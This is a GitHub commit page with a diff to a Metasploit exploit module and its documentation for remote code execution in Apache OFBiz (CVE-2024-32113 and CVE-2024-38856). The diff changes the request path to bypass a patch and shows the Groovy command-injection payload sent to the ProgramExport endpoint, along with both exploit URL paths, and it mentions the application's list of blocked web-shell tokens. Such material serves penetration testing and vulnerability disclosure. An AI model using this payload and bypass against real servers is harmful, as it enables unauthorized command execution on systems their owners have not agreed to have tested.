Skip to content

Commit ea10360

Browse files
committed
Update OFBiz ProgramExport RCE for Patch Bypass
1 parent e4726e4 commit ea10360

File tree

2 files changed

+28
-6
lines changed

2 files changed

+28
-6
lines changed

documentation/modules/exploit/multi/http/apache_ofbiz_forgot_password_directory_traversal.md

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,19 @@ Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulne
33
endpoint `/webtools/control/forgotPassword` allows an attacker to access the `ProgramExport` endpoint which in
44
turn allows for remote code execution in the context of the user running the application.
55

6+
It was then discovered that the use of the path traversal vulnerability is not required in order to access
7+
the vulnerable endpoint ProgramExport. CVE-2024-38856 was given for this Incorrect Authorization vulnerability
8+
and was patched in 18.12.15.
9+
10+
This module was originally written the exploit CVE-2024-32113, but upon the discovery of CVE-2024-38856 the
11+
module updated to not exploit the path traversal vulnerability allowing for exploitation on 18.12.14 as well.
12+
13+
CVE-2024-32113, Path Traversal, patched in 18.12.13:
14+
`/webtools/control/forgotPassword;../ProgramExport`
15+
16+
CVE-2024-38856, Incorrect Authorization, patched in 18.12.14:
17+
`/webtools/control/forgotPassword/ProgramExport`
18+
619
### Description
720
The module can exploit Apache OFBiz running on both Windows and Linux. OFBiz has list of `deniedWebShellTokens`
821
which includes strings like `curl` and `chmod` which attempts to prevent ProgramExport from being exploited. The list

modules/exploits/multi/http/apache_ofbiz_forgot_password_directory_traversal.rb

Lines changed: 15 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -13,11 +13,19 @@ def initialize(info = {})
1313
super(
1414
update_info(
1515
info,
16-
'Name' => 'Apache OFBiz Forgot Password Directory Traversal',
16+
'Name' => 'Apache OFBiz forgotPassword/ProgramExport RCE',
1717
'Description' => %q{
18-
Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability. The vulnerable
19-
endpoint /webtools/control/forgotPassword allows an attacker to access the ProgramExport endpoint which in
20-
turn allows for remote code execution in the context of the user running the application.
18+
Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability (CVE-2024-32113). The
19+
vulnerable endpoint /webtools/control/forgotPassword allows an attacker to access the ProgramExport endpoint
20+
which in turn allows for remote code execution in the context of the user running the application. This was
21+
patched in 18.12.14.
22+
23+
It was then discovered that the use of the path traversal vulnerability is not required in order to access
24+
the vulnerable endpoint ProgramExport. CVE-2024-38856 was given for this Incorrect Authorization vulnerability
25+
and was patched in 18.12.15.
26+
27+
This module was originally written the exploit CVE-2024-32113, but upon the discovery of CVE-2024-38856 the
28+
module updated to not exploit the path traversal vulnerability allowing for exploitation on 18.12.14 as well.
2129
},
2230
'Author' => [
2331
'Mr-xn', # PoC
@@ -26,7 +34,8 @@ def initialize(info = {})
2634
'References' => [
2735
[ 'URL', 'https://github.com/Mr-xn/CVE-2024-32113'],
2836
[ 'URL', 'https://xz.aliyun.com/t/14733?time__1311=mqmx9Qwx0WDsd5YK0%3Dai%3Dmd7KbxGupD&alichlgref=https%3A%2F%2Fgithub.com%2FMr-xn%2FCVE-2024-32113'],
29-
[ 'CVE', '2024-32113']
37+
[ 'CVE', '2024-32113'],
38+
[ 'CVE', '2024-38856']
3039
],
3140
'License' => MSF_LICENSE,
3241
'Platform' => %w[linux win],
@@ -71,7 +80,7 @@ def initialize(info = {})
7180
def send_cmd_injection(cmd)
7281
data = "groovyProgram=throw+new+Exception('#{cmd}'.execute().text);"
7382
send_request_cgi({
74-
'uri' => normalize_uri(target_uri.path, '/webtools/control/forgotPassword;/ProgramExport'),
83+
'uri' => normalize_uri(target_uri.path, '/webtools/control/forgotPassword/ProgramExport'),
7584
'headers' => {
7685
'HOST' => '127.0.0.1'
7786
},

0 commit comments

Comments
 (0)